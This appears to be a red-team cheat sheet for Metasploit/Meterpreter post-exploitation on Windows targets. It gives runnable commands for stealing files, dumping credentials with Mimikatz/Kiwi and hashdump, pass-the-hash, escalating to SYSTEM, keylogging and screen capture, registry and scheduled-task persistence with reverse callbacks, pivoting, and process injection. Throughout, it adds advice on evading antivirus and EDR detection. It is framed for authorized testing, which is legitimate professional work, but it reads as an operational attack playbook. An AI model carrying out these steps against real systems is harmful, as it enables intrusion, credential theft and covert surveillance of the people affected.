Metasploit Framework
Session Management
Note — + Prerequisites
- Successful exploit execution or payload delivery
- Network connectivity to handler
- Appropriate listener configured in Metasploit Framework
Note — + Metasploit Framework Overview Open-source penetration testing platform for exploit development and execution 4. Exploit database with thousands of modules 5. Payload generation and delivery mechanisms 6. Post-exploitation framework via Meterpreter 7. Session management and pivoting capabilities
Core Session Commands
# In msfconsole
sessions -l # List all active sessions
sessions -i <ID> # Interact with session
sessions -k <ID> # Kill session
sessions -K # Kill all sessions
sessions -u <ID> # Upgrade shell to Meterpreter (if applicable)
background # Background current session (Ctrl+Z)
Note — + Command Breakdown
- sessions -l: Displays all active sessions with details (ID, type, target, timestamp)
- -i
: Interact with specific session number to access Meterpreter prompt - -v: Verbose session information including architecture and user context
- -q: Quiet mode with minimal output for scripting
- -u
: Upgrades standard shell to full Meterpreter session (if architecture matches) - Check “Last checkin” timestamp to verify session health and connectivity
Note — + Session Management Best Practices
- Always verify session type and architecture before operations
- Background sessions instead of closing to preserve access
- Monitor session check-in times for connectivity issues
- Upgrade shells to Meterpreter for enhanced capabilities
- Name sessions with
-nflag for easy identification in multi-target engagements
Output Interpretation
| Column | Description | Notes |
|---|---|---|
| Session ID | Unique identifier for each connection | Used for all session commands |
| Type | Meterpreter (staged/stageless), shell, etc. | Determines available commands |
| Info | Target OS, architecture, user context | Critical for payload compatibility |
| Last checkin | Timestamp of last communication | Health indicator for session |
Note — + OPSEC and Detection Considerations
- Meterpreter runs in memory (fileless) but creates network traffic patterns
- Reverse TCP connections generate outbound traffic—firewall/EDR may alert
- Session check-ins create periodic beaconing (default 5 sec)—tune with
set SessionCommunicationTimeout- Process injection and migration leave forensic traces in memory
- Network traffic patterns are signatured by modern EDR solutions
Note — + Common Errors and Solutions 6. “Session X is not valid”: Session died; check network stability and target system status 7. “Exploit completed, but no session was created”: Payload blocked by AV/EDR or architecture mismatch 8. Timeout errors: Adjust
SessionExpirationTimeoutandSessionCommunicationTimeoutin handler options 9. Connection drops: Firewall blocking callbacks or target system rebooted
Navigation and System Information
Note — + Prerequisites
- Active Meterpreter session
- User-level access minimum
- Understanding of target operating system file structure
Core Navigation Commands
sysinfo # System information (OS, arch, hostname)
getuid # Current user context
pwd # Print working directory
ls # List directory contents
cd <path> # Change directory
cat <file> # Display file contents
download <remote> <local> # Download file from target
upload <local> <remote> # Upload file to target
search -f <pattern> # Search for files
ps # List processes
shell # Drop to system shell
exit # Close Meterpreter session
Note — + Command Breakdown
- sysinfo: Returns OS version, architecture (x86/x64), hostname, and domain membership
- getuid: Shows current user privilege level (SYSTEM, administrator, standard user)
- ls -l: Long format displaying permissions, timestamps, and file sizes
- download -r
: Recursive download of entire directory structure - search -d
-f : Search specific directory for filename patterns - ps -S
: Filter process list by name for quick identification - File operations generate disk I/O that may trigger EDR monitoring
File Search and Enumeration
# Navigate and exfiltrate
cd C:\\Users\\victim\\Documents
ls
download sensitive.docx /tmp/loot/
# Upload tool
upload /opt/tools/mimikatz.exe C:\\Windows\\Temp\\m.exe
# Find files
search -f *.kdbx
search -d C:\\Users -f *password*
# Process enumeration
ps
ps -S lsass.exe
Note — + Search Command Breakdown
- *search -f .kdbx: Locate KeePass database files containing credentials
- -d C:\Users: Limits search scope to specific directory for faster results
- *password*: Wildcard pattern matching for files containing “password” in filename
- Search operations generate high disk I/O and may be detected by behavioral analysis
Process Enumeration Analysis
Note — + Process List Interpretation
- Look for security products (Windows Defender, CrowdStrike, Carbon Black)
- Identify high-value processes (lsass.exe for credentials, browsers for sessions)
- Note process architecture (x86/x64) for migration compatibility
- Check process ownership to identify privilege levels
Note — + OPSEC and Detection Considerations
- File operations (
download,upload,cat) generate disk I/O—EDR may flagshelldrops to cmd.exe/bash—creates child process and logs (Windows Event 4688)- Excessive
lsorsearchcommands indicate enumeration behavior pattern- Timestomping not automatic—use
timestompseparately if needed for stealth- File access generates Windows Event 4663 (object access)
Note — + Common Errors and Solutions 6. “Operation failed: Access is denied”: Insufficient privileges or file in use by system 7. “Download failed”: Verify target file path, permissions, and disk space on attacker system 8. shell hangs: Adjust
readtimeout or useexecute -f cmd.exe -i -cfor interactive shell 9. Path errors on Windows: Use double-backslashes or forward slashes in paths
Credential Extraction with Kiwi (Mimikatz)
Note — + High Detection Risk Warning Kiwi/Mimikatz is heavily signatured by AV/EDR. Opening lsass.exe triggers alerts on mature EDR platforms (Defender ATP, CrowdStrike, SentinelOne). Consider alternatives: procdump → parse offline, or native comsvcs.dll method.
Note — + Prerequisites
- Active Meterpreter session on Windows target
- SYSTEM or Administrator privileges (for most functions)
- Target process with credentials in memory (lsass.exe)
- Kiwi module available in Metasploit
Note — + Mimikatz Overview Post-exploitation tool for extracting plaintext passwords, hashes, and Kerberos tickets from Windows memory
- Dumps credentials from LSASS (Local Security Authority Subsystem Service)
- Extracts Kerberos tickets for Pass-the-Ticket attacks
- Creates Golden Tickets for domain persistence
- Bypasses authentication mechanisms in Windows environments
Core Kiwi Commands
load kiwi # Load Kiwi extension
kiwi_cmd # Execute raw Mimikatz command
creds_all # Dump all credentials (msv, kerberos, wdigest, etc.)
creds_msv # Dump NTLM hashes (MSV)
creds_kerberos # Dump Kerberos tickets
creds_wdigest # Dump WDigest credentials (plaintext if enabled)
creds_ssp # Dump SSP credentials
creds_tspkg # Dump TsPkg credentials
lsa_dump_sam # Dump local SAM hashes
lsa_dump_secrets # Dump LSA secrets
golden_ticket_create # Create Kerberos Golden Ticket
Note — + Command Breakdown
- load kiwi: Loads Mimikatz extension into Meterpreter session (architecture must match)
- creds_all: Attempts all credential extraction methods simultaneously
- creds_msv: Extracts NTLM hashes from MSV1_0 authentication package
- creds_wdigest: Extracts plaintext passwords (Windows 7/2008R2 only, disabled by default on 10+)
- lsa_dump_sam: Dumps local SAM database hashes (equivalent to
hashdump)- Commands auto-execute in SYSTEM context if migrated to appropriate process
Practical Credential Extraction
# Load Kiwi module
load kiwi
# Dump all credential types
creds_all
# Dump only NTLM hashes
creds_msv
# Dump Kerberos tickets
creds_kerberos
# Dump local SAM database
lsa_dump_sam
# Execute custom Mimikatz command
kiwi_cmd "sekurlsa::logonpasswords"
# Create Golden Ticket (requires krbtgt hash)
golden_ticket_create -d domain.local -u Administrator -s <SID> -k <NTLM_hash>
Note — + Output Interpretation
- Authentication Id: Correlates credentials to specific logon sessions
- User Name: Account associated with credentials
- NTLM hashes: Use for Pass-the-Hash attacks
- Kerberos tickets: Extract .kirbi files for Pass-the-Ticket or Overpass-the-Hash
- WDigest: Plaintext passwords (only on Windows 7/2008R2 or if manually enabled)
Credential Attack Techniques
| Credential Type | Attack Method | Use Case |
|---|---|---|
| NTLM Hash | Pass-the-Hash | Lateral movement without plaintext password |
| Kerberos Ticket | Pass-the-Ticket | Impersonate user sessions |
| WDigest Plaintext | Direct authentication | Access services requiring password |
| krbtgt Hash | Golden Ticket | Domain-level persistence |
Note — + OPSEC and Detection Considerations
- HIGH DETECTION RISK: Kiwi/Mimikatz heavily signatured by AV/EDR
- Opening lsass.exe triggers alerts on mature EDR (Defender ATP, CrowdStrike, SentinelOne)
- Windows Event 4656 (handle to lsass.exe) + 4663 (lsass.exe read) = common detection
- Credential Guard (Windows 10+) blocks many Mimikatz techniques
- Memory scanning will detect Mimikatz strings/patterns
- Consider alternatives: procdump → parse offline, or native comsvcs.dll method
Note — + Common Errors and Solutions
- “Load Mimikatz failed”: Anti-virus blocked; migrate to different process or disable AV
- “Access is denied” / “ERROR kuhl_m_sekurlsa”: Not running as SYSTEM—use
getsystemfirst- “No credentials found”: WDigest disabled (Windows 10+); rely on NTLM hashes instead
- Kiwi module not available: Update Metasploit or use standalone Mimikatz
- Architecture mismatch: Ensure Meterpreter session matches target (x64 for x64 Windows)
Note — + Alternative Credential Extraction Methods 6. procdump + offline parsing: Less noisy, avoids real-time EDR hooks 7. comsvcs.dll method: Native Windows DLL for LSASS dumping 8. Task Manager dump: Manual method, less suspicious than automated tools 9. SSP/AP registration: Custom Security Support Provider for credential interception 10. Registry hive extraction: Export SAM/SYSTEM hives for offline cracking
Privilege Escalation
Note — + Prerequisites
- Active Meterpreter session
- User-level access minimum
- Exploitable privilege escalation vector (misconfiguration, unpatched vulnerability)
- Understanding of target Windows version and patch level
Core Privilege Escalation Commands
getsystem # Attempt automatic privilege escalation
getprivs # Display current process privileges
use post/multi/recon/local_exploit_suggester # Suggest priv-esc exploits
use exploit/windows/local/* # Local exploit modules
run post/windows/gather/win_privs # Enumerate Windows privileges
Note — + Command Breakdown
- getsystem: Tries multiple techniques (named pipe impersonation, token duplication)
- -t flag: Specify technique:
getsystem -t 1(technique 1: named pipe impersonation)- getprivs: Lists current process privileges (SeDebugPrivilege, SeImpersonatePrivilege critical)
- local_exploit_suggester: Compares installed patches against known privilege escalation exploits
- Always run
getuidandgetprivsbefore attempting escalation
Privilege Escalation Workflow
# Check current privileges
getuid
getprivs
# Attempt automatic escalation
getsystem
# If getsystem fails, background and run suggester
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
# Run suggested exploit
use exploit/windows/local/ms16_075_reflection
set SESSION 1
set LHOST <your_IP>
run
# Verify escalation
getuid # Should show "NT AUTHORITY\SYSTEM"
Note — + Privilege Escalation Technique Analysis
- Technique 0 (Named Pipe Impersonation): Creates named pipe, impersonates SYSTEM token
- Technique 1 (Token Duplication): Duplicates existing SYSTEM token from service process
- Technique 2 (Named Pipe Impersonation - Alternative): Variation of technique 0
- Modern Windows (10+) has protections against named pipe impersonation attacks
Important Windows Privileges
| Privilege | Attack Method | Description |
|---|---|---|
| SeDebugPrivilege | Process injection | Debug and inject into any process |
| SeImpersonatePrivilege | Potato attacks | Impersonate tokens (RoguePotato, PrintSpoofer) |
| SeBackupPrivilege | File access | Read any file on system |
| SeRestorePrivilege | File modification | Write to any file on system |
| SeLoadDriverPrivilege | Kernel exploit | Load unsigned drivers |
Note — + OPSEC and Detection Considerations
getsystemcreates named pipes—EDR may detect pattern (e.g.,\\\\.\\pipe\\random)- Token manipulation = suspicious API calls (OpenProcess, DuplicateTokenEx)
- Local exploits may crash processes or generate kernel logs
- Prefer misconfigurations (unquoted service paths, weak permissions) over exploits when possible
- Windows Event 4673 logs sensitive privilege use
Note — + Common Errors and Solutions 6. “Operation failed: Access is denied”: Technique blocked by OS or AV; try alternative method 7. “Could not obtain SYSTEM”: No exploitable path; enumerate manually or use external tool 8. Exploit crashes session: Unstable target or wrong OS version—check
sysinfofirst 9. Suggester returns no results: System fully patched; focus on misconfigurations
Note — + Alternative Privilege Escalation Vectors 10. Unquoted Service Paths: Service paths with spaces and no quotes 11. Weak Service Permissions: Services modifiable by low-privilege users 12. Always Install Elevated: Registry setting allowing MSI installation as SYSTEM 13. Scheduled Tasks: Tasks running as SYSTEM with writable binaries 14. DLL Hijacking: Missing DLLs in service search paths
Local Hash Extraction (Non-Kiwi)
Note — + Prerequisites
- Active Meterpreter session on Windows
- SYSTEM or Administrator privileges
- Access to SAM/SYSTEM registry hives
Core Hash Extraction Commands
hashdump # Dump local SAM password hashes
run post/windows/gather/credentials/credential_collector # Collect multiple credential sources
run post/windows/gather/smart_hashdump # Dump hashes from SAM & domain cache
Note — + Command Breakdown
- hashdump: Classic command requiring SYSTEM privileges for registry access
- credential_collector: Comprehensive module collecting from multiple sources (SAM, LSA, registry)
- smart_hashdump: Enhanced version with domain cache support and better error handling
- Always escalate to SYSTEM with
getsystembefore hash extraction
Hash Extraction Workflow
# Escalate to SYSTEM
getsystem
# Dump local hashes
hashdump
# Alternative: Run smart_hashdump module
background
use post/windows/gather/smart_hashdump
set SESSION 1
run
# Collect all available credentials
use post/windows/gather/credentials/credential_collector
set SESSION 1
run
Note — + Hash Format Output Interpretation Format:
username:RID:LM_hash:NTLM_hash:::
- LM hash: Often
aad3b435b51404eeaad3b435b51404ee(empty/disabled on modern Windows)- NTLM hash: Modern hash format for Pass-the-Hash attacks or offline cracking
- RID 500: Built-in Administrator account (high-value target)
- RID 501: Built-in Guest account (usually disabled)
Hash Attack Techniques
| Hash Type | Tool | Command Example |
|---|---|---|
| NTLM | hashcat | hashcat -m 1000 hashes.txt rockyou.txt |
| NTLM | John the Ripper | john --format=NT hashes.txt |
| LM | hashcat | hashcat -m 3000 hashes.txt rockyou.txt |
| Pass-the-Hash | Impacket | psexec.py -hashes :NTLM admin@target |
Note — + OPSEC and Detection Considerations
- Reading SAM registry hive is detectable (registry access events)
- Less noisy than Kiwi/Mimikatz but still generates logs
- Consider exfiltrating registry hives manually (
reg save HKLM\\SAM,reg save HKLM\\SYSTEM) for offline extraction- File
%SystemRoot%\\System32\\config\\SAMlocked while OS running—use registry hive method- Windows Event 4657 logs registry value modifications
Note — + Common Errors and Solutions 6. “Access is denied”: Not SYSTEM—run
getsystemfirst before hash extraction 7. “Failed to dump hashes”: SAM database locked or corrupted; trysmart_hashdumpor registry export 8. Empty hash output: Target is domain-joined with no local accounts used 9. Module fails: Try classichashdumpcommand instead of post modules
Note — + Offline Hash Extraction Alternative 10. Export registry hives:
reg save HKLM\\SAM sam.hiveandreg save HKLM\\SYSTEM system.hive11. Download hives from target system 12. Extract locally using secretsdump.py from Impacket 13. Less detection risk (no LSASS interaction, standard registry operations)
Screenshot and Keylogging
Note — + Prerequisites
- Active Meterpreter session
- User-level access (screenshots require active GUI session)
- Keylogger requires injection into user process (explorer.exe, browser)
- Active desktop session (RDP, physical console, or virtual desktop)
Core Surveillance Commands
screenshot # Capture single screenshot
screenshare # Stream live screenshots
keyscan_start # Start keylogger
keyscan_dump # Dump captured keystrokes
keyscan_stop # Stop keylogger
Note — + Command Breakdown
- screenshot -v false: Disable automatic view/display of captured screenshot
- screenshot -p
: Save screenshot to specific file path - screenshare -q
: Set JPEG quality (1-100) for bandwidth optimization - keyscan_start: Hooks keyboard input at OS level
- Migrate to explorer.exe or browser process before starting keylogger for stability
Surveillance Workflow
# Capture screenshot
screenshot
# Save screenshot to specific file
screenshot -p /tmp/loot/desktop.png
# Stream screenshots (real-time)
screenshare
# Start keylogger
keyscan_start
# Wait, then dump keystrokes
keyscan_dump
# Stop keylogger
keyscan_stop
Note — + Output Interpretation
- Screenshot: Saved to local attacker system; check for sensitive data on screen (passwords, documents)
- Keystroke dump: Plain text; look for passwords typed in forms or applications
- Parse keylogs: Search for credentials (login forms, password managers, terminal commands)
- Timestamp analysis: Correlate keystrokes with user activity patterns
Note — + OPSEC and Detection Considerations
screenshotuses Windows GDI API—low detection but generates memory artifactsscreensharecreates persistent network traffic (bandwidth spike)—may alert network operations- Keylogger hooks keyboard input—EDR detects SetWindowsHookEx, GetAsyncKeyState APIs
- Migrate to explorer.exe or browser for keylogger stability and stealth
- AV signatures exist for Meterpreter keylogger patterns
- Memory forensics can detect injected keylogger code
Note — + Common Errors and Solutions
- “No active desktop session”: RDP/GUI not active; screenshots fail on Server Core or no logged-in user
- “Could not start keylogger”: Injection failed—try migrating to different process (explorer.exe)
- Screenshot blank/black: Target using Citrix/RDP session with restricted display capture
- Keylogger crashes: Process terminated or protected by security software
Note — + Keylogger Best Practices
- Migrate to stable, long-running process (explorer.exe) before starting
- Dump keystrokes periodically to avoid losing data if session dies
- Parse output for credential patterns (username/password forms)
- Consider process-specific keylogging for targeted data collection
- Stop keylogger when not actively collecting to reduce detection risk
Persistence Mechanisms
Note — + High Detection Risk Warning Persistence mechanisms leave indicators of compromise (IOCs) on disk and in registry. These are heavily monitored by EDR and will generate alerts. Always document IOCs for post-engagement remediation.
Note — + Prerequisites
- Active Meterpreter session
- Administrator or SYSTEM privileges (for system-wide persistence)
- Write access to startup folders, registry, or scheduled tasks
- Understanding of target security monitoring capabilities
Core Persistence Commands
run persistence -h # Show persistence options (deprecated; use module)
run exploit/windows/local/persistence_service # Install as Windows service
Note — + Persistence Options (Legacy)
- -U: User-level persistence (HKCU startup)—survives only for specific user
- -X: System-level persistence (HKLM startup, requires admin)—survives all users
- -i
: Callback interval between beacon connections - -r
: Reverse connection IP address for callback - Legacy
run persistencescript deprecated in Metasploit 6.x—use post modules instead
Modern Persistence Implementation
# Legacy persistence (if available)
run persistence -U -i 60 -p 443 -r <your_IP>
# Modern method: Use post module
background
use exploit/windows/local/persistence_service
set SESSION 1
set LHOST <your_IP>
set LPORT 443
run
# Alternative: Manual registry key
execute -f reg -a "add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Updater /t REG_SZ /d C:\\Windows\\Temp\\payload.exe"
# Scheduled task persistence
execute -f schtasks -a "/create /tn \"Updater\" /tr C:\\Windows\\Temp\\payload.exe /sc onlogon /ru System"
Note — + Persistence Technique Breakdown
- Registry Run keys: Executes on user logon (HKCU) or system boot (HKLM)
- Windows Service: Runs as service with SYSTEM privileges
- Scheduled Task: Flexible triggers (logon, boot, time-based)
- WMI Event Subscription: Stealthy, survives reboots, difficult to detect
- Always save cleanup script path from module output for IOC removal
Persistence Technique Comparison
| Technique | Privilege Required | Stealth | Detection Method |
|---|---|---|---|
| Registry Run Key | User | Low | Event 4657, Registry monitoring |
| Windows Service | Administrator | Low | Event 7045, Service enumeration |
| Scheduled Task | Administrator | Medium | Event 4698, Task enumeration |
| WMI Event | Administrator | High | WMI repository inspection |
| DLL Hijacking | User/Admin | High | Process monitoring, DLL auditing |
Note — + OPSEC and Detection Considerations
- HIGH DETECTION RISK: Persistence = IOC left on disk/registry
- Registry Run keys (HKCU/HKLM
\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) heavily monitored- Scheduled tasks generate Event 4698 (Windows Security Log)—blue teams watch this
- Service creation = Event 7045 (System Log)—immediate alert trigger
- Payload on disk = AV/EDR will scan and likely detect
- Consider WMI, WMI Event Subscriptions, or DLL hijacking for stealthier persistence
- Always have cleanup plan and document IOCs for post-test remediation
Note — + Common Errors and Solutions 8. “Insufficient privileges”: Requires admin for HKLM/service persistence; try user-level
-U9. “Could not write payload”: AV deleted file or path doesn’t exist—check permissions 10. Session not re-connecting: Firewall blocked outbound, wrong IP/port, or payload detected 11. Module fails: Deprecated script; update Metasploit or use alternative module
Note — + Stealthier Persistence Alternatives 12. WMI Event Subscriptions: Harder to detect, survives reboots 13. DLL Hijacking: Legitimate process loads malicious DLL 14. COM Hijacking: Redirects COM object instantiation 15. Accessibility Features: Replace sethc.exe, utilman.exe (requires SYSTEM) 16. AppInit_DLLs: Injects DLL into all processes (Windows 7 only)
Pivoting and Port Forwarding
Note — + Prerequisites
- Active Meterpreter session
- Target host multi-homed (connected to multiple networks)
- Understanding of target network topology and segmentation
- proxychains or similar tool for SOCKS proxying
Note — + proxychains Overview Tool for forcing network traffic through SOCKS or HTTP proxies
- Tunnels application traffic through proxy chains
- Supports SOCKS4, SOCKS5, and HTTP proxies
- Dynamic or strict proxy chain modes
- Essential for pivoting through compromised hosts
Core Pivoting Commands
run autoroute -h # Add routes through Meterpreter session
run autoroute -s <subnet> # Add subnet route
portfwd -h # Port forwarding help
portfwd add -l <local_port> -p <target_port> -r <target_IP> # Forward port
portfwd list # List active forwards
portfwd delete -l <local_port> # Remove forward
Note — + Command Breakdown
- autoroute -s <subnet/CIDR>: Route network traffic through Meterpreter session
- portfwd add -L <bind_IP>: Specify local bind IP for port forwarding
- portfwd -R: Reverse port forward (target to attacker; less common)
- autoroute -p: Display all configured routes and associated sessions
- Always verify target network interfaces with
ipconfig/ifconfigbefore adding routes
Pivoting Workflow
# View target network interfaces
ipconfig # Windows
ifconfig # Linux
# Add route to internal subnet
run autoroute -s 10.10.10.0/24
# Verify route added
run autoroute -p
# Forward RDP port from internal host
portfwd add -l 3389 -p 3389 -r 10.10.10.50
# Access via localhost
xfreerdp /v:127.0.0.1 /u:admin
# Set up SOCKS proxy for full pivoting
background
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 4a
run -j
# Configure proxychains and scan internal network
# Edit /etc/proxychains4.conf: socks4 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.0/24
Note — + SOCKS Proxy Setup Breakdown
- SRVHOST 127.0.0.1: Bind proxy server to localhost
- SRVPORT 1080: Standard SOCKS port (configurable)
- VERSION 4a: SOCKS4a protocol with DNS proxying support
- run -j: Run as background job (non-blocking)
- Configure proxychains4.conf with
socks4 127.0.0.1 1080before use
Port Forwarding Techniques
| Technique | Use Case | Command Pattern |
|---|---|---|
| Local Port Forward | Access internal service via localhost | portfwd add -l <local> -p <remote> -r <IP> |
| Reverse Port Forward | Expose attacker service to target network | portfwd add -R -l <local> -p <remote> -L <IP> |
| SOCKS Proxy | Route all traffic through pivot | auxiliary/server/socks_proxy |
| Dynamic Tunneling | SSH-style dynamic forwarding | Use with proxychains |
Note — + OPSEC and Detection Considerations
- Pivoting generates east-west (lateral) traffic—anomaly for workstations
- SOCKS proxy traffic encapsulated in Meterpreter session—inspect session traffic patterns
- Port forwards create listening sockets on attacker—egress firewall may block initial callback
- Large data transfers through pivot = bandwidth anomaly
- NetFlow/Zeek logs may reveal unusual internal connections
- Workstation-to-server traffic patterns differ from normal user behavior
Note — + Common Errors and Solutions
- “Route addition failed”: Subnet overlap or incorrect CIDR notation—verify with
autoroute -p- Port forward fails: Target port not open or host unreachable—verify with
ping,portscanmodule- SOCKS proxy not working: Check
proxychains.confsyntax and SOCKS version (4a vs 5)- “Connection refused” on forwarded port: Service not running on target or local port conflict
- Slow pivot performance: Network latency or bandwidth limitations—optimize traffic
Note — + Advanced Pivoting Techniques 6. Multi-hop pivoting: Chain multiple compromised hosts for deep network access 7. DNS tunneling: Exfiltrate data through DNS queries when other protocols blocked 8. SSH dynamic forwarding: Alternative to SOCKS proxy using SSH
-Dflag 9. VPN setup: Establish full network-layer access through compromised host 10. HTTP/HTTPS tunneling: Bypass proxy restrictions using application-layer protocols
Process Migration
Note — + Prerequisites
- Active Meterpreter session
- Appropriate privileges (admin required for SYSTEM processes)
- Understanding of target process architecture (x86/x64)
- Knowledge of stable, long-running processes on target
Core Migration Commands
ps # List processes
migrate <PID> # Migrate to target process
getpid # Show current process ID
Note — + Command Breakdown
- ps -S
: Filter process list by name for quick identification - ps -A
: Filter by architecture (x86/x64) for compatibility - migrate
: Injects Meterpreter payload into target process memory - getpid: Verify current process ID before and after migration
- Always migrate away from initial exploit process (often unstable or will close)
Migration Workflow
# List processes
ps
# Find stable process (e.g., explorer.exe)
ps -S explorer.exe
# Migrate to explorer
migrate 1234 # Use actual PID from ps output
# Verify migration
getpid
# Migrate to x64 process if session is x86
ps -A x64
migrate 5678
# For stealth, migrate to legitimate long-running process
ps -S svchost.exe
migrate 2468
Note — + Process Selection Criteria
- Stability: Long-running processes unlikely to terminate (explorer.exe, svchost.exe)
- Architecture: Match Meterpreter architecture (x86/x64) to target process
- Privilege level: Match current privileges (user→user, SYSTEM→SYSTEM)
- Stealth: Legitimate system processes blend with normal operations
- User context: Same user session to avoid cross-session injection alerts
Recommended Migration Targets
| Process | Privilege | Stability | Stealth | Notes |
|---|---|---|---|---|
| explorer.exe | User | High | High | User desktop process, always running |
| svchost.exe | SYSTEM | High | Medium | Multiple instances, choose carefully |
| spoolsv.exe | SYSTEM | High | Medium | Print spooler service |
| winlogon.exe | SYSTEM | High | Low | Protected process on modern Windows |
| lsass.exe | SYSTEM | High | Very Low | Protected, instant EDR alert |
Note — + OPSEC and Detection Considerations
- Migration = process injection (CreateRemoteThread, WriteProcessMemory)—EDR signatures exist
- Migrating to security product process (AV, EDR agent) = instant detection/crash
- Injecting across session boundaries (different user) requires SeDebugPrivilege
- Memory forensics: Injected code lacks corresponding image file—indicator of compromise
- Prefer processes with same privilege level and architecture as current session
- API call patterns (OpenProcess→VirtualAllocEx→WriteProcessMemory→CreateRemoteThread) heavily monitored
Note — + Common Errors and Solutions
- “Migration failed”: Target process protected, wrong architecture, or insufficient privileges
- Session dies after migration: Target process crashed or terminated—choose stable process
- “Access is denied”: Need SYSTEM to migrate into SYSTEM processes—run
getsystemfirst- Architecture mismatch: Migrating x86→x64 or vice versa fails—match architectures
- Process protected: Windows 10+ protects certain processes (PPL, ELAM)—choose alternative
Note — + Migration Best Practices 6. Migrate immediately after exploitation to stable process 7. Avoid security software processes (will crash session) 8. Match architecture to maximize command compatibility 9. Choose processes with multiple instances (svchost.exe) for better hiding 10. For credential dumping, migrate to same session as target user 11. Document original PID for forensic cleanup and incident response
Post-Exploitation Modules
Note — + Prerequisites
- Active Meterpreter session
- Background session to run modules from msfconsole
- Appropriate privileges for target module functionality
- Understanding of target environment (Active Directory, workgroup, domain-joined)
Enumeration Modules
# Enumeration
background
use post/windows/gather/enum_domain # Enumerate AD domain info
use post/windows/gather/enum_shares # Enumerate network shares
use post/windows/gather/enum_applications # List installed software
use post/windows/gather/enum_logged_on_users # Active user sessions
use post/windows/gather/enum_patches # Installed patches/KBs
# Set session and run
set SESSION 1
run
Note — + Enumeration Module Breakdown
- enum_domain: Queries Active Directory for domain controllers, users, groups, trust relationships
- enum_shares: Discovers SMB shares on network (potential lateral movement targets)
- enum_applications: Lists installed software with versions (vulnerability research)
- enum_logged_on_users: Identifies active sessions (credential harvesting targets)
- enum_patches: Cross-references missing KBs with exploit database
- Modules save results to Metasploit loot/credentials database—access with
loot,credscommands
Credential Gathering Modules
# Credential gathering
use post/windows/gather/credentials/windows_autologin # Auto-login creds
use post/windows/gather/credentials/credential_collector
use post/multi/gather/firefox_creds # Browser credentials
use post/windows/gather/credentials/vnc # VNC passwords
# Set session and run
set SESSION 1
run
Note — + Credential Module Breakdown
Network Enumeration Modules
# Network
use post/multi/gather/ping_sweep # Ping sweep internal network
use post/windows/gather/arp_scanner # ARP scan
use post/windows/gather/enum_domain_computers # List domain computers
# Set session and run
set SESSION 1
set RHOSTS 10.10.10.0/24 # For network modules
run
Note — + Network Module Breakdown
- ping_sweep: ICMP echo requests to discover live hosts on internal subnet
- arp_scanner: Examines ARP cache and performs ARP scans (Layer 2 discovery)
- enum_domain_computers: Queries Active Directory for all domain-joined computers
- Network scans generate traffic patterns detectable by NIDS/NIPS
Practical Module Examples
# Enumerate domain
background
use post/windows/gather/enum_domain
set SESSION 1
run
# Find network shares
use post/windows/gather/enum_shares
set SESSION 1
run
# Check installed patches
use post/windows/gather/enum_patches
set SESSION 1
run
# Discover live hosts on internal network
use post/multi/gather/ping_sweep
set SESSION 1
set RHOSTS 10.10.10.0/24
run
# Dump saved browser credentials
use post/multi/gather/firefox_creds
set SESSION 1
run
Note — + Module Output and Database Integration
- loot command: View all collected files and data from post modules
- creds command: Display extracted credentials from all sources
- hosts command: Show discovered hosts from network enumeration
- services command: List identified services on enumerated hosts
- All module results automatically saved to Metasploit database for analysis
Module Output Interpretation
| Module Type | Key Information | Action Items |
|---|---|---|
| Domain Enumeration | Domain controllers, trust relationships | Map AD infrastructure |
| Share Enumeration | Writable shares, sensitive data | Lateral movement, exfiltration |
| Patch Enumeration | Missing KBs | Privilege escalation exploits |
| User Enumeration | Active sessions, admin users | Credential harvesting targets |
| Network Discovery | Live hosts, open ports | Expand attack surface |
Note — + OPSEC and Detection Considerations
- Enumeration modules generate suspicious activity (LDAP queries, SMB enumeration, network scanning)
- Domain queries hit domain controller—logs at DC (Event 4662, 4624)
- Share enumeration = SMB traffic spike—NetBIOS/SMB anomaly detection
- Ping sweeps = ICMP flood or rapid connection attempts—NIDS/NIPS alerts
- Spread activity over time to blend with normal traffic
- Consider using native Windows tools (PowerShell, net commands) for stealthier enumeration
Note — + Common Errors and Solutions
- “No results returned”: Insufficient privileges or target not domain-joined—verify with
getuid- Module hangs: Network timeout—adjust
set TIMEOUTvalue in module options- “Session not valid”: Session died during module run—check session stability with
sessions -l- Database not initialized: Run
msfdb initto set up PostgreSQL database- Empty loot output: Module failed silently—check msfconsole logs for errors
Note — + Post-Exploitation Module Workflow 6. Start with system enumeration (
enum_domain,enum_patches) 7. Gather credentials from all sources (credential_collector, browser modules) 8. Enumerate network (ping_sweep,arp_scanner) 9. Identify lateral movement targets (enum_shares,enum_domain_computers) 10. Document all findings in engagement notes for reporting
Final OPSEC Reminders
Note — + Critical Security Considerations
- Meterpreter = known malware; mature EDR will detect/block without evasion
- Consider custom payloads, obfuscation, or C2 frameworks (Cobalt Strike, Covenant, Sliver) for real-world ops
- Always operate within authorized scope; maintain detailed logs and IOC lists for remediation
- Test payloads in isolated lab before production engagement
- Have out-of-band C2 backup if primary session burned
Note — + Engagement Best Practices 6. Document all IOCs (files, registry keys, services, scheduled tasks) for client remediation 7. Maintain communication with client point of contact during testing 8. Have emergency stop procedures if production systems affected 9. Use encryption for exfiltrated data to protect client confidentiality 10. Provide comprehensive cleanup scripts and remediation guidance in final report
References
- Offensive Security Metasploit Unleashed
- Rapid7 Metasploit Framework Documentation
- Gentilkiwi Mimikatz GitHub
- MITRE ATT&CK Framework
- HackTricks - Pentesting Methodology
- Microsoft Windows Security Documentation
- Offensive Security OSCP Study Guide
- SANS Penetration Testing Resources
#Metasploit #Meterpreter #Post-Exploitation #Credential-Dumping #Pivoting #Windows #Penetration-Testing #Red-Team #Kiwi #Mimikatz #Process-Migration #Privilege-Escalation #Persistence #OPSEC